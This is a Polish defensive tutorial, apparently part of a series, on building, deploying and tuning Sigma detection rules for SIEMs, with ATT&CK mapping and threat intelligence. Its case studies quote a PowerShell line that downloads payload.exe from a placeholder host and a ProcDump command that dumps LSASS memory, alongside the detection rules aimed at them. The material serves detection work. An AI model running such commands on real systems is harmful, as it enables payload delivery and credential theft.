
Studium przypadków i praktyczna integracja z systemami bezpieczeństwa
W części pierwszej oraz częsci drugiej omówiliśmy, czym jest Sigma, jak wygląda struktura jej reguł w formacie YAML oraz jak można konwertować je do języków zapytań konkretnych platform SIEM i EDR – takich jak Splunk, Elastic, Sentinel czy QRadar. Poznaliśmy też rolę Sigma w ustandaryzowaniu procesu detekcji i w budowie spójnych mechanizmów obronnych w środowiskach hybrydowych.
W tej części skupiamy się wyłącznie na praktyce. Pokażemy, jak przekuć teorię w skuteczne mechanizmy wykrywania zagrożeń, które rzeczywiście uruchamiają alarmy w systemach bezpieczeństwa. Przeanalizujemy dwa realistyczne scenariusze:
- Wykorzystanie PowerShella przez atakującego do wykonania polecenia pobierającego plik z Internetu,
- Złośliwe działania malware obejmujące kradzież poświadczeń i komunikację z serwerem C2.
Każdy przypadek prześledzimy krok po kroku: od identyfikacji zagrożenia i źródeł logów, przez stworzenie reguły Sigma, aż po jej konwersję i wdrożenie w systemie SIEM, testy walidacyjne i tuning detekcji.
Jeśli wcześniej poznaliśmy język Sigma od strony składniowej, to teraz czas zobaczyć, jak Sigma działa w praktyce – w kontekście operacyjnym i pod realną presją czasu.
Studium przypadków: PowerShell i malware w praktyce
Aby zrozumieć, jak Sigma działa w realnych warunkach, przeanalizujmy dwa scenariusze ataków oraz sposób ich wykrycia dzięki reguł Sigma. Te studia przypadków przeprowadzą nas przez pełen cykl: od podejrzanego zdarzenia w systemie, przez analizę logów i utworzenie reguły Sigma, aż do odpalenia alertu w SIEM po konwersji reguły.
Przypadek 1: Złośliwe użycie PowerShell
Scenariusz: Administrator systemu zauważa wzmożony ruch wychodzący z jednej ze stacji roboczych. Okazuje się, iż na maszynie uruchomiono skrypt PowerShell, który próbuje pobrać plik z Internetu. Takie zachowanie może oznaczać próbę downloadu złośliwego payloadu przez atakującego przy użyciu wbudowanych narzędzi systemowych (tzw. living off the land). Celem jest wykrycie tego zdarzenia w logach.
Analiza logów: Dzięki włączonemu logowaniu bloków skryptowych PowerShell (PowerShell Script Block Logging) w dzienniku aplikacji pojawił się wpis zawierający treść wykonywanego skryptu. W logu (Event ID 4104 dla PowerShell) widnieje m.in. fragment polecenia:
$client = New-Object System.Net.WebClient; $client.DownloadFile('http://podejrzany.adres/payload.exe','C:\Users\Public\payload.exe')Ta linijka ujawnia najważniejsze artefakty: użycie klasy .Net WebClient oraz metod DownloadFile/DownloadString do pobierania danych z URL. To nietypowe dla zwykłych skryptów administracyjnych, a charakterystyczne dla ataków (np. malware Emotet był znany z takich ciągów).
Tworzenie reguły Sigma: Identyfikujemy dwie najważniejsze cechy do wykrycia: (1) użycie System.Net.WebClient oraz (2) wystąpienie funkcji pobierania jak DownloadFile lub DownloadString w treści skryptu. Reguła Sigma może to ująć jako dwie sekcje selekcji połączone warunkiem AND. Ustalmy także kontekst logów: zdarzenia pochodzą z PowerShell Script Block Logging na Windows. Poniżej przykładowa reguła Sigma dla tego scenariusza:
title: Suspicious PowerShell Download - Powershell Script id: 403c2cc0-7f6b-4925-9423-bfa573bed7eb status: test description: Wykrywa podejrzane polecenie PowerShell pobierające plik z Internetu tags: - attack.execution # Taktyka MITRE ATT&CK: Wykonanie - attack.t1059.001 # Technika: PowerShell logsource: product: windows category: ps_script # Logi bloków skryptowych PowerShell definition: Script Block Logging must be enabled detection: webclient: ScriptBlockText|contains: 'System.Net.WebClient' download: ScriptBlockText|contains: - '.DownloadFile(' - '.DownloadString(' condition: webclient and download falsepositives: - Legalne skrypty PowerShell pobierające zasoby (np. w administrowaniu) level: mediumWyjaśnienie: Powyższa reguła sprawdza, czy w treści skryptu (ScriptBlockText) występuje ciąg System.Net.WebClient oraz jeden z ciągów charakterystycznych dla pobierania plików (DownloadFile( lub DownloadString(). Warunek webclient and download oznacza, iż oba wzorce muszą zostać znalezione, aby reguła się uruchomiła. Dzięki temu minimalizujemy fałszywe alarmy – sam ciąg WebClient lub sama obecność słowa „Download” to za mało, żeby uznać zdarzenie za złośliwe. Dodatkowo pole falsepositives dokumentuje, iż legalne skrypty administracyjne mogą czasem wywołać alert (np. jeżeli administrator świadomie pobiera plik w skrypcie), co sugeruje analitykom, by w razie potrzeby doprecyzować regułę lub oznaczyć taki przypadek jako wyjątek.
Rezultat: Taka reguła Sigma, po wdrożeniu do SIEM, wygeneruje alarm za każdym razem, gdy w logu z PowerShell znajdzie jednocześnie ciąg System.Net.WebClient i wywołanie pobrania pliku. W naszym scenariuszu atak zostanie wykryty – SIEM podniesie alert np. o treści „Suspicious PowerShell Download” zawierający szczegóły procesu PowerShell (użytkownik, ścieżka, host docelowy). Analityk otrzymuje zatem wysokiej wierności alert (high fidelity) na potencjalne pobranie złośliwego pliku, co pozwala gwałtownie zacząć dochodzenie. Takie wykrycie następuje we wczesnej fazie kill chain (pobranie narzędzia) i może zapobiec dalszym etapom ataku, zanim dojdzie do uruchomienia malware.
Przypadek 2: Atak malware – kradzież danych uwierzytelniających
Scenariusz: W drugim przypadku rozważmy klasyczną technikę używaną przez malware i grupy APT: wykradanie poświadczeń z pamięci LSASS. Atakujący uzyskuje dostęp do systemu Windows i uruchamia narzędzie ProcDump (ze stajni Sysinternals) przeciwko procesowi lsass.exe, aby zrzucić jego pamięć do pliku (dump). Proces LSASS przechowuje hashe haseł, więc zrzucenie go umożliwia atakującemu wyciągnięcie haseł użytkowników (technika ta jest opisana w ATT&CK jako Credential Dumping – T1003.001). W systemie wykryto uruchomienie procdump.exe z parametrem wskazującym na lsass.exe. Chcemy wykryć ten proceder w logach.
Analiza logów: W środowisku włączony jest audyt tworzenia procesów (Event ID 4688 w dzienniku Security albo odpowiednik Event ID 1 z Sysmon). Log procesu pokazuje, iż uruchomiono proces:
- Image (NewProcessName): C:\Tools\procdump.exe
- CommandLine: procdump.exe -ma lsass.exe C:\Dump\lsass.dmp
Te atrybuty (nazwa pliku wykonywalnego procdump.exe i argument zawierający lsass.exe) są znanymi wskaźnikami tej techniki ataku. Pojedynczo mogą nie być wyłącznie złośliwe (ProcDump jest legalnym narzędziem, LSASS bywa dumpowany np. do debugowania), ale ich jednoczesne wystąpienie jest wysoce podejrzane. Warto też odnotować, iż technika ta odpowiada taktyce Credential Access (dostęp do danych uwierzytelniających) w MITRE ATT&CK.
Tworzenie reguły Sigma: Skonstruujemy regułę, która wyłapie procesy procdump.exe uruchamiane z linią komend zawierającą lsass.exe. Określamy logsource jako Windows (kategoria process_creation). Oto reguła Sigma dla tego przypadku:
title: LSASS Dump via ProcDump id: e125c719-df31-4f62-a53c-d13e50ebefc6 description: Wykrywa próby zrzutu pamięci procesu LSASS przy użyciu Sysinternals ProcDump (dumpowanie poświadczeń) status: stable author: Enes Cayırvalı logsource: category: process_creation product: windows detection: selection: Image|endswith: '\procdump.exe' CommandLine|contains: 'lsass.exe' condition: selection level: high tags: - attack.credential_access # MITRE ATT&CK Tactic: Credential Access - attack.t1003.001 # Technique: LSASS Memory (Credential Dumping) - sysinternals # Dodatkowy tag np. rodzaj narzędziaOmówienie: Reguła filtruje zdarzenia tworzenia procesu (process_creation), szukając tych, gdzie ścieżka obrazu kończy się na procdump.exe oraz jednocześnie linia poleceń zawiera ciąg lsass.exe. Warunek condition: selection oznacza, iż wszystkie kryteria w bloku selection muszą być spełnione (domyślnie jest to logiczne AND). Przypisaliśmy poziom zagrożenia high (wysoki), gdyż wykradanie haseł z LSASS to poważny incydent. W sekcji tags umieściliśmy mapowanie do taksonomii MITRE ATT&CK (tactic Credential Access i technika T1003.001 odpowiadająca dumpowaniu LSASS) oraz dodatkowy tag „sysinternals” – tagi są opcjonalne, ale bardzo pomocne dla kategoryzacji i integracji (o mapowaniu do MITRE szerzej piszemy w dalszej części).
Rezultat: Mamy gotową regułę Sigma opisującą poszukiwaną aktywność. Teraz możemy ją wykorzystać w praktyce, konwertując do zapytań SIEM i polując na atak. W następnym rozdziale przejdziemy przez ogólną metodologię tworzenia takich reguł, a potem zobaczymy, jak automatycznie wygenerować zapytania dla Splunk i Elastic na podstawie powyższej definicji.
Wdrożenie i walidacja reguł w systemach bezpieczeństwa
Posiadając skonwertowaną regułę, następnym krokiem jest wdrożenie jej w docelowym systemie oraz walidacja poprawności działania. W zależności od używanego narzędzia SIEM/EDR, proces ten może wyglądać nieco inaczej, ale ogólne zasady są zbliżone.
Wdrożenie reguły w SIEM (na przykładzie Splunk i Elastic)
- Splunk: W Splunk Enterprise Security lub choćby zwykłym Splunk, regułę implementuje się jako zapisaną wyszukiwarkę (saved search) z uruchamianym alertem. W praktyce: wchodzimy do Search, wklejamy zapytanie SPL wygenerowane z Sigma, uruchamiamy by upewnić się, iż działa (i np. zwraca oczekiwany wynik na danych testowych lub po pewnym czasie). Następnie wybieramy opcję Save As Alert. Nadajemy nazwę (np. „ProcDump LSASS Dump Attempt”), ustawiamy wyzwalanie alertu on schedule lub real-time gdy tylko pojawią się wyniki, i definiujemy akcje (np. powiadom e-mail, uruchom skrypt, wyślij do SOAR). Od tej pory Splunk będzie czuwał – gdy pojawią się logi spełniające kryteria, alert zostanie wygenerowany.
- Elastic Security (Kibana): W konsoli Kibana (moduł Security → Detections) można dodać nową regułę detekcji. Tam wkleić zapytanie KQL/EQL wygenerowane z Sigma, ustawić zakres (np. monitoruj indeks winlogbeat-*), częstotliwość działania (reguły w Elastic działają cyklicznie, np. co minutę/sprawdzają ostatnie 5 minut logów), oraz akcje powiadomień. Elastic umożliwia też mapowanie pod ATT&CK podczas definiowania reguły – nasze tagi Sigma można odpowiednio przenieść, by w interfejsie reguła pokazywała taktyki/techniki. Po włączeniu, mechanizm detekcji Elastic zacznie monitorować nadchodzące logi i wygeneruje alert, jeżeli warunki się spełnią.
- Inne SIEM: W QRadarze import Sigma (gdy już jest dostępny natywnie) utworzyłby regułę CRE. W Azure Sentinel używamy Kusto query w regułach analizy (Analytics Rule) – można skopiować kwerendę KQL i ustawić parametry (okno czasowe, próg liczby zdarzeń jeżeli to korelacja itp.). Każda platforma ma swój interfejs tworzenia reguł, ale sedno jest takie samo: wklejamy logikę wyszukiwania, konfigurujemy wyzwalanie i zapisujemy/aktywujemy.
Integracja z istniejącymi workflow: Wdrożenie reguły to nie tylko jej utworzenie, ale też wpasowanie w proces SOC. Należy:
- Przypisać adekwatne kategorie alertu (np. w Splunk ES zdarzeniu dajemy severity na podstawie Sigma level, mapping do typu ataku itp.).
- Skonfigurować powiadomienia – np. krytyczne alerty na pager, średnie tylko do ticketów.
- Powiązać z playbookami reagowania (SOAR) – jeżeli mamy zautomatyzowane reakcje, możemy np. ustawić, iż alert LSASS Dump generuje incydent i od razu triage: np. odpytanie EDR o historię procesu, zrzut pamięci, izolacja hosta (to już zależy od dojrzałości organizacji).
Walidacja i testy reguły
Po wdrożeniu, musimy potwierdzić, iż reguła działa zgodnie z założeniami. Jak to zrobić?
- Testy pozytywne (że wykrywa atak): Idealnie, jeżeli mamy środowisko testowe, można przeprowadzić symulację ataku. Np. uruchomić procdump.exe -ma lsass.exe kontrolowanie na maszynie labowej, albo odpalić złośliwy skrypt PowerShell w piaskownicy. Sprawdzamy, czy SIEM złapał zdarzenie i czy alert Sigma się wygenerował. jeżeli tak – reguła spełnia swój cel (i mamy pewność, iż logi rzeczywiście przychodzą do SIEM i pasują do wzorca).
- Testy negatywne (że nie ma false positives): Monitorujemy przez pewien czas zachowanie reguły. Czy alert się nie pojawia dla benign aktywności? jeżeli np. co godzinę dostajemy alert z reguły, a po zbadaniu okazuje się, iż to jakiś skrypt backupu wywołuje podobne polecenie – to sygnał, iż regułę trzeba skorygować (dodać wyjątek dla tego skryptu lub zawęzić warunki). Walidacja negatywna często trwa w praktyce kilka dni/tygodni od wdrożenia – SOC obserwuje, czy alert jest użyteczny. Tuning jest procesem ciągłym.
- Debugging: o ile reguła nie generuje alertów, choć powinna (np. mamy pewność, iż atak zaszedł, a alertu brak), trzeba zbadać przyczynę. Możliwe przyczyny:
- Zła konfiguracja logsource lub pipeline – reguła mogła zostać przetłumaczona na nieodpowiednie pola. Np. Sigma myślała, iż logi to Windows Security (EventCode 4688), a w rzeczywistości używasz tylko Sysmon i twoja baza nie ma EventCode 4688, tylko EventID=1. Wtedy albo zmieniasz logsource na sysmon w regule, albo podczas konwersji stosujesz pipeline sysmon. To istotny aspekt – upewnij się, iż dane, które chcesz wykrywać, rzeczywiście trafiają do SIEM i iż reguła jest pod nie zrobiona.
- Błąd logiczny – może warunki są zbyt restrykcyjne. Np. w CommandLine wpisaliśmy 'lsass.exe’ a atakujący użył 'lsass’ bez .exe (mało prawdopodobne w tym akurat przypadku, ale warto myśleć o wariantach). W takiej sytuacji drobna poprawka (np. usunięcie .exe z warunku lub użycie regexu) rozwiąże problem.
- Problem z oknem czasowym – jeżeli reguła ma wykrywać sekwencje zdarzeń (np. 5 nieudanych logowań i potem sukces), trzeba sprawdzić, czy SIEM liczy to w oczekiwanym zakresie czasu. Sigma raczej takich złożonych przypadków nie obsługuje out-of-the-box, ale wspominamy ogólnie o walidacji reguł korelacyjnych.
Krok po kroku: jak wygląda zadziałanie detekcji Sigma w praktyce? Poniżej krótki opis, co się dzieje, gdy nasza reguła „LSASS Dump via ProcDump” faktycznie zadziała w środowisku:
- Zdarzenie w systemie: Użytkownik (lub malware) uruchamia procdump.exe wskazując na proces LSASS. Windows rejestruje zdarzenie 4688 (Nowy proces) z parametrami procesu i command line.
- Zbieranie logów: Agent monitorujący (np. Windows Event Forwarding, winlogbeat, Splunk UF) przesyła ten log do centralnego systemu SIEM.
- Przetwarzanie w SIEM: Log trafia do indeksu/dataset, zostaje znormalizowany (jeśli jest taka konfiguracja).
- Dopasowanie reguły: Mechanizm detekcji SIEM (np. silnik alertów) okresowo sprawdza nowe logi względem zarejestrowanych reguł. W Splunk real-time alert sprawdza każdy nowy event 4688; w Elastic cykliczna jobka sprawdza ostatnią minutę logów. Gdy natrafi na log spełniający warunki zapytania (procdump + lsass), mechanizm uznaje warunki alertu za spełnione.
- Generowanie alertu: SIEM tworzy wpis alertu/incydentu. W jego treści znajdują się pola określone w zapytaniu (proces, user, host, command line). Alert zostaje oznaczony np. jako „High – Credential Dumping via ProcDump”.
- Powiadomienie: Zgodnie z konfiguracją, system wysyła notyfikacje – np. e-mail do zespołu SOC, sygnał do narzędzia typu Slack/Teams, albo choćby automatycznie tworzy sprawę w systemie ticketowym czy incydent w SOAR.
- Reakcja analityka: Analityk SOC odbiera alert, czyta opis (dzięki czemu wie, iż to mapuje do ATT&CK T1003.001 – co sugeruje od razu naturę zagrożenia). Sprawdza załączone szczegóły (ścieżka procdump.exe, z jakiego konta uruchomiono, na jakim hoście, czy proces LSASS rzeczywiście zrzucił pamięć). Może przekopać dodatkowe logi (np. czy po tym zdarzeniu wystąpiły inne oznaki ataku – tutaj pomocne są inne reguły Sigma mapujące pokrewne aktywności, np. użycie reg save HKLM\\SECURITY itp.).
- Akcja naprawcza: jeżeli incydent się potwierdza (to nie false positive), analityk uruchamia działania – odłączenie hosta, zmiana haseł, analiza dumpu LSASS, czy wyciekły dane itp. Dzięki temu, iż alert przyszedł gwałtownie i był precyzyjny, można reagować zanim atakujący wykorzysta wykradzione hasła do dalszej ekspansji.
Ten schemat pokazuje, jak reguła Sigma staje się realnym mechanizmem obronnym w twojej infrastrukturze: od abstrakcyjnego YAML-a do konkretnego alarmu chroniącego przed atakiem.
Optymalizacja i tuning reguł detekcji (minimalizacja fałszywych alarmów)
Stworzenie i wdrożenie reguły to dopiero początek. W praktyce niemal każda reguła wymaga pewnego tuningu po uruchomieniu, aby zredukować false positives oraz upewnić się, iż działa wydajnie choćby na dużej skali logów. Oto najważniejsze aspekty optymalizacji:
Redukcja false positives
Fałszywe alarmy to zmora zespołów SOC – powodują, iż analitycy tracą czas na nieszkodliwe zdarzenia i mogą przeoczyć te prawdziwe zagrożenia w szumie. Dlatego najważniejsze jest, by reguła Sigma była na tyle precyzyjna, na ile to możliwe, ale bez utraty pokrycia (tzw. balance między precision a recall). Kilka technik tuningu:
- Dodawanie filtrów wykluczających: jeżeli po wdrożeniu widzisz, iż reguła łapie zdarzenia legitymne, uwzględnij to w regule poprzez filter. Przykładowo, jeżeli alert „ProcDump LSASS” odpala też na wewnętrzne skanowanie antywirusa (niektóre skanery mogą używać podobnych technik do legalnych celów), można dodać filter po nazwie procesu, użytkownika lub ścieżce, który wykluczy te przypadki. Sigma pozwala grupować warunki false positive w bloki i potem w condition dać and not filter_fp1 and not filter_fp2 itd.. Ważne jest jednak, by nie przesadzić – zbyt agresywne filtry mogą zacząć ukrywać prawdziwe ataki. Trzeba testować każdą taką zmianę.
- Zawężanie zakresu (logsource i warunki): Czasem fałszywe trafienia biorą się stąd, iż reguła obejmuje więcej niż powinna. Może warto doprecyzować logsource – np. ograniczyć do konkretnych hostów (jeśli atak realnie grozi tylko serwerom, a nie stacjom). Można to zrobić już nie w samej regule Sigma (bo ona powinna być raczej uniwersalna), ale np. po konwersji do zapytania dodać warunek host!="DC01" jeżeli wiemy, iż tam pewne rzeczy są normalne. Alternatywnie, Sigma wspiera w logsource pole service/channel do zawężenia do konkretnego kanału logów lub aplikacji, co może pomóc.
- Kontekstualizacja i korelacja: Jak wspomniano, Sigma reguły są zwykle „atomiczne”, ale nic nie stoi na przeszkodzie by łączyć je w SIEM w coś w rodzaju kill chain correlation. Można ustawić, iż alert wyzwoli się dopiero, gdy kilka reguł zadziała w krótkim czasie. Np. osobno mamy reguły: wyłączenie usługi AV, usunięcie shadow copies, szyfrowanie wielu plików – każdy z osobna może czasem się zdarzyć (fałszywie), ale jak zobaczymy wszystkie trzy, to prawie pewne iż to ransomware. W Splunk ES jest mechanizm Correlation Search, w QRadar super rules, w Elastic można tworzyć reguły ML lub EQL korelujące zdarzenia. W kontekście Sigma, możesz wykorzystać tagi MITRE, by np. zebrać wszystkie alerty z taktyki Defense Evasion i Impact i ocenić wspólnie. Podsumowując: tuning nie zawsze musi być w obrębie jednej reguły – czasem warto pomyśleć na wyższym poziomie.
- Ciągłe uczenie się z incydentów: Każdy false positive obsłużony przez analityka to lekcja. W procesie triage analityk powinien oznaczyć przyczynę FP (np. „admin testował narzędzie X”, „skrypt firmowy”). Te informacje warto zwrotnie wprowadzić do detekcji. jeżeli to jednorazowy przypadek – może zostawić; jeżeli powtarzalny – dodać wyjątek albo zmienić kryteria. Dobrą praktyką jest okresowy przegląd reguł Sigma: np. co kwartał przejrzeć top 10 reguł o najwyższej liczbie alertów FP i spróbować je ulepszyć.
Wydajność zapytań
W środowisku z terabajtami logów dziennie choćby prosta reguła może stanowić obciążenie, jeżeli nie jest zoptymalizowana. Oto jak dbać o wydajność:
- Wykorzystanie indeksów i selektywności: Zwracaj uwagę, by konwertowana reguła wykorzystywała indeksowane pola. Np. w Splunk warunek source="WinEventLog:Security" i EventCode=4688 to pola indeksowane – silnik Splunk najpierw wyfiltruje tylko takie eventy (co jest szybkie), a dopiero potem szuka w nich ciągów w CommandLine. Gdybyśmy pominęli EventCode, a wpisali tylko szukanie stringu w całym logu, zapytanie byłoby dużo cięższe. Sigma najczęściej zadba o to automatycznie, jeśli podamy prawidłowy logsource. Dlatego tak ważne jest określenie np. category/service – bo to się przekłada na konkretny filtr w zapytaniu (jak wyżej).
- Unikanie złożonych wyrażeń regularnych: Sigma pozwala na regexy, ale staraj się ich unikać, gdy prostsze rozwiązanie wystarczy. Regexy są kosztowne obliczeniowo. Często ciąg *lsass.exe* (wildcard) jest w zupełności wystarczający – nie trzeba pisać regexu (?i)lsass\.exe dla case insensitive, lepiej skorzystać z wbudowanych opcji (Sigma ma modyfikator |contains który domyślnie może być case-insensitive w zależności od backendu lub można użyć |contains|all z listą wariantów case).
- Listy zamiast wielu OR: jeżeli chcesz szukać wielu wartości w tym samym polu, Sigma pozwala zapisać je jako listę w YAML (co oznacza logiczne OR na tym polu). Konwerter często przetworzy to na zgrabne wyrażenie z jednym polem i wieloma wartościami. Np. Image|endswith: ['\procdump.exe', '\dumpert.exe'] zostanie przekonwertowane w Splunk na (NewProcessName="*\\procdump.exe" OR NewProcessName="*\\dumpert.exe"). To generalnie wydajniejsze niż kilka osobnych warunków rozdzielonych OR na różnych polach.
- Korzystanie z dedykowanych mechanizmów: Niektóre SIEM oferują własne mechanizmy optymalizacji, np. w Splunk można budować Data Model i użyć w regule akcelerowanego modelu (Sigma ma backendy, które generują zapytania korzystające z datamodel). Przykładem jest Data Model Endpoint w Splunk ES – można pisać zapytania typu | tstats ... dużo wydajniejsze. Sigma może wspierać takie konstrukcje poprzez odpowiedni backend/pipeline (np. istnieją backendy do Splunk datamodel). jeżeli wydajność jest problemem, rozważ skorzystanie z takich rozwiązań. Podobnie w Elastic – może lepiej napisać regułę w EQL, która natywnie wykonuje się wydajnie, niż w KQL z masą wildcardów.
- Testy obciążeniowe: W dużych organizacjach praktykuje się testy, jak nowa reguła wpływa na system. jeżeli nagle po wdrożeniu jedna reguła zajmuje 50% czasu procesora SIEM, to znak, iż trzeba poprawić (albo wydzielić ją np. do off-line hunting raz na dzień zamiast real-time). Sigma ułatwia iterację – można np. modyfikować regułę i gwałtownie generować nowe zapytania testowe, dopóki nie uzyska się akceptowalnej wydajności.
Podsumowując, optymalizacja reguł Sigma to ciągłe wyważanie czułości detekcji i jej niezawodności (mniej FP). Dobrze zaprojektowana reguła będzie generować alerty, które w, powiedzmy, 90% przypadków oznaczają prawdziwe zagrożenie – to świetny wynik. A jeżeli choćby alert okaże się fałszywy, to będzie niósł kontekst, który łatwo pozwoli analitykowi to stwierdzić (np. w opisie reguły lub polu falsepositives podamy wskazówki). Sigma sprzyja temu procesowi, bo zmiany w regule są proste (edycja YAML), a dzięki standaryzacji łatwo dzielić się doświadczeniami z tuningu z innymi analitykami.
Mapowanie do MITRE ATT&CK – od detekcji do taktyk i technik
Jednym z zaleceń przy tworzeniu reguł Sigma (i w ogóle przypadków użycia w SOC) jest mapowanie ich do frameworku MITRE ATT&CK. MITRE ATT&CK to powszechnie używana taksonomia taktyk i technik ataków – w skrócie, kataloguje co atakujący robią, dzieląc na taktyki (np. Persistence, Lateral Movement) i konkretniejsze techniki (z unikalnymi identyfikatorami Txxxx). Jak Sigma wykorzystuje to mapowanie i dlaczego jest to ważne?
- Tagi MITRE w regułach: W polu tags reguły Sigma, jak widzieliśmy, zwykle umieszcza się wpisy typu attack.T1234 (dla technik) i attack.category (dla taktyk). Np. dla dumpu LSASS mieliśmy attack.credential_access (taktyka) i attack.t1003.001 (technika). Dzięki temu, kiedy reguła zadziała, możemy od razu wiedzieć, iż dotyczy to np. „Credential Access / OS Credential Dumping (LSASS)”. To ujednolica język między zespołami – analityk, menedżer SOC czy oficer bezpieczeństwa rozumieją, do czego alert się odnosi, bo MITRE ATT&CK jest wspólnym odniesieniem.
- Pokrycie obszarów ataku: Budując zestaw detekcji, wiele organizacji stara się osiągnąć jak najlepsze pokrycie różnych technik ATT&CK, szczególnie tych uznanych za popularne u przeciwników (wg. raportów threat intel) i jednocześnie możliwych do logowania. jeżeli każda reguła Sigma ma przypisane techniki, możemy generować matryce pokrycia – np. używając narzędzi takich jak ATT&CK Navigator w połączeniu z regułami Sigma. Istnieją skrypty, które biorą listę reguł Sigma i tworzą mapę technik ATT&CK, pokazując które TTP są adresowane. To pomaga zidentyfikować luki – np. brak nam detekcji w taktyce Exfiltration – może warto dodać reguły Sigma na wykrywanie dużych transferów danych itp.
- Od ATT&CK do Sigma i odwrotnie: Ciekawym zastosowaniem jest też wyszukiwanie reguł Sigma na podstawie ATT&CK. Np. jeżeli wyjdzie nowe zagrożenie wykorzystujące technikę T1218 (Living off the Land Binaries), można przeszukać repozytoria Sigma pod kątem tagu attack.t1218 i znaleźć gotowe reguły do zaimplementowania, które wykrywają np. nadużycie regsvr32, rundll32, etc. Również platformy takie jak Splunk (w Splunk ES jest Enterprise Security Content Update), czy Recorded Future tworzą zestawy reguł Sigma powiązanych z ATT&CK, co ułatwia załatanie konkretnych taktyk.
- Automatyczne tagowanie i AI: Mapowanie do MITRE bywa czasochłonne, bo wymaga od twórcy reguły znajomości taksonomii. Pojawiają się jednak narzędzia wsparte AI, które potrafią sugerować tagi ATT&CK na podstawie treści reguły czy opisu. Np. SOC Prime udostępniło Uncoder.AI, który przewiduje techniki dla reguł. MITRE prowadzi prace nad SigmaGen, który używa modeli językowych do generowania reguł Sigma wraz z mapowaniem do ATT&CK. To przyszłościowa ciekawostka – algorytmiczna pomoc w pisaniu reguł i mapowaniu taksonomii (więcej o przyszłości Sigma w kolejnym rozdziale).
- Wykorzystanie ATT&CK w reagowaniu: Gdy alert Sigma jest już wygenerowany, wiedza o tym, jakiej techniki dotyczy, może pomóc w triage. Np. jeżeli dostajemy serię alertów z różnych reguł, ale wszystkie mają tag Privilege Escalation, to może oznaczać spójną fazę ataku i wskazówkę, by szukać nieautoryzowanego awansu uprawnień. ATT&CK daje także pewne porady co do priorytetyzacji – np. taktyka Impact (jak ransomware) może być krytyczna, a ta np. Discovery mniej pilna.
W naszych przykładach:
- Reguła PowerShell download miała tag attack.execution i attack.t1059.001 (oznaczający PowerShell). To taktyka Wykonanie, technika Skrypt PowerShell. Analityk widząc alert z takim tagiem wie, iż to dotyczy użycia interpretera skryptów w celu wykonania czegoś – czyli możliwe, iż pierwszy etap ataku (Execution).
- Reguła LSASS dump tagowana attack.credential_access i attack.t1003.001 od razu komunikuje: to jest próba wykradzenia poświadczeń (hasła z pamięci LSASS). Wie więc, iż to już dość zaawansowany etap (atakujący ma dostęp i próbuje sięgnąć po kolejne klucze do królestwa).
Na poziomie strategii obrony, korzystając z ATT&CK, można zrobić gap analysis: np. checklista „Czy mamy detekcje Sigma dla wszystkich technik z grupy Ransomware (TA0040 Impact)?”. jeżeli nie, wiadomo gdzie skupić wysiłki.
Reasumując, mapowanie reguł Sigma do ATT&CK:
- Ujednolica język opisu zagrożeń między detekcją a intel i reagowaniem.
- Pozwala mierzyć pokrycie i dojrzałość detekcji (ile technik ze znanych ataków jesteśmy w stanie wykryć).
- Ułatwia analitykom myślenie w kategoriach TTP zamiast pojedynczych IOC (co jest znacznie skuteczniejsze w długim terminie – IOC zmieniają się, techniki wolniej).
- Daje możliwość korzystania z zewnętrznych zasobów (np. gotowych reguł od vendorów, którzy publikują je pod konkretnymi technikami – Splunk poprzez Recorded Future App dostarcza reguły Sigma na nowe zagrożenia wraz z kontekstem technik).
Warto więc zawsze, gdy to możliwe, dodawać odpowiednie tagi ATT&CK do swoich reguł Sigma. To dobra praktyka doceniana w społeczności i przez osoby zarządzające bezpieczeństwem.
Integracja z Threat Intelligence (TI) i EDR
Współczesne programy bezpieczeństwa opierają detekcje nie tylko na sygnaturach i regułach, ale także na Threat Intelligence (danych wywiadowczych o zagrożeniach) oraz korzystają z zaawansowanych narzędzi typu EDR (Endpoint Detection & Response). Jak Sigma wpisuje się w ten obraz? Okazuje się, iż świetnie uzupełnia i integruje te elementy.
Wykorzystanie Threat Intelligence w regułach Sigma
Threat Intelligence (TI) dostarcza informacji o znanych atakach: adresach IP, domenach C2, hashach malware, technikach używanych przez grupy APT itd. Sigma może pomóc wykorzystać TI na kilka sposobów:
- Reguły oparte na IoC: Możesz tworzyć reguły Sigma, które wykrywają w logach znane wskaźniki kompromitacji. Przykładowo, jeżeli CERT dostał informację o serii adresów IP używanych w danej kampanii, można napisać regułę Sigma na logi firewall lub proxy: listę tych IP jako wartości w polu destination.ip. Taka reguła będzie działać jak klasyczne IoC matching, tylko iż przenośnie między platformami. Jednak trzeba uważać – IoC (zwł. adresy, hashe) często gwałtownie tracą ważność. Dlatego reguły czysto IoC-owe powinny być często aktualizowane lub generowane automatycznie.
- TI kontekst w alertach: Integracja następuje też po stronie SIEM. Np. Splunk czy Elastic mogą korzystać z źródeł TI (bazując na integracjach, np. aplikacje do pobierania feedów TI). jeżeli alert Sigma dotyczy IP, które znajduje się na liście obserwacyjnej TI (powiedzmy adres znanego C2), to system może automatycznie wzbogacić alert o tę informację. Czyli alert z reguły Sigma „Podejrzany ruch DNS” może dostać adnotację „to zapytanie do domeny ze znanej listy phishingowej”. Nie jest to bezpośrednia funkcja Sigma, ale nasze reguły mogą posłużyć za mechanizm wyzwalający sprawdzenie TI.
- Budowanie reguł z artykułów TI: Praktycy threat huntingu często biorą świeży raport o kampanii ataków (wypełniony opisami TTP) i chcą na jego podstawie zbudować detekcje u siebie. Sigma jest tu jak znalazł – raporty zwykle mówią np. „atakujący używali Rundll32 do wykonywania skryptów w schtasks” – z tego można wnioskować regułę Sigma szukającą rundll32.exe z parametrem .vbs. Niektóre blogi i artykuły TI choćby od razu dostarczają reguły Sigma dla opisanych technik, albo przynajmniej MITRE tags, które można gwałtownie wyszukać w repozytoriach (jak wcześniej wspomniano). Dzięki temu czas od pojawienia się wiedzy TI do wdrożenia detekcji jest bardzo krótki – co jest celem tzw. Threat-Informed Defense. Przykładem może być blog Kraven Security, gdzie autorzy pokazują jak z artykułu TI wyciągają techniki i znajdują/do tworzą pod nie Sigma rules.
- Automatyzacja z TI: Można pokusić się o dynamiczne łączenie Sigma z TI – np. reguła Sigma z warunkiem domain|endswith: .badomain i mechanizm, który co tydzień generuje YAML ze zaktualizowaną listą złych domen z TI feedu. Następnie pipeline CI/CD (o którym dalej) podmienia regułę i aktualizuje SIEM. Są choćby narzędzia, które wygenerują reguły Sigma z feedów (np. konwertując je do formatu list matching). Choć to trochę naokoło – niektóre SIEM lepiej bezpośrednio radzą sobie z feedami TI – to Sigma daje jednolity sposób, by taki proces uniezależnić od konkretnego SIEM.
